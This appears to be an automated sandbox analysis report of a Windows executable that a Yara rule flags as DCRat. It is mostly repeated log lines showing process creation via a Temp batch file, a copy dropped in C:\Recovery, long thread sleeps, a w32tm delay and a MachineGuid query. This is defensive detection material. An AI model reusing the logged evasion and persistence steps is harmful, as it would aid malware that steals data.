Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Memory allocated: 1340000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Memory allocated: 1AF80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Memory allocated: 12F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Memory allocated: 1AD60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Memory allocated: 1280000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Memory allocated: 1AD10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Memory allocated: 2B60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Memory allocated: 1ABB0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Window / User API: threadDelayed 1838	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Window / User API: threadDelayed 353	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Window / User API: threadDelayed 367	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Window / User API: threadDelayed 436	Jump to behavior

Source: C:\Users\user\Desktop\c5uqDb5MlY.exe TID: 1780	Thread sleep count: 1838 > 30	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe TID: 2124	Thread sleep count: 353 > 30	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe TID: 5756	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe TID: 1720	Thread sleep count: 367 > 30	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe TID: 5288	Thread sleep count: 436 > 30	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe TID: 2668	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe TID: 2668	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe TID: 2668	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe TID: 2668	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe TID: 4948	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe TID: 5856	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe TID: 2872	Thread sleep count: 270 > 30	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe TID: 2056	Thread sleep count: 165 > 30	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe TID: 4312	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe TID: 6640	Thread sleep count: 265 > 30	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe TID: 4820	Thread sleep count: 331 > 30	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe TID: 5016	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: w32tm.exe, 00000009.00000002.1755823986.000001BF7E89A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllY
Source: kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe, 0000000A.00000002.1733451978.000000001BE30000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll/

Source: C:\Users\user\Desktop\c5uqDb5MlY.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\c5uqDb5MlY.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\GwQD1zscMN.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe "C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe"	Jump to behavior

Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Queries volume information: C:\Users\user\Desktop\c5uqDb5MlY.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Queries volume information: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe VolumeInformation	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Queries volume information: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe VolumeInformation	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Queries volume information: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\c5uqDb5MlY.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: 0000000B.00000002.1793189374.0000000002D56000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1835354064.0000000002BFA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1705861781.000000000310E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1732109470.0000000002D61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1793189374.0000000002D11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1835354064.0000000002BB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1705861781.0000000002F81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: c5uqDb5MlY.exe PID: 4820, type: MEMORYSTR
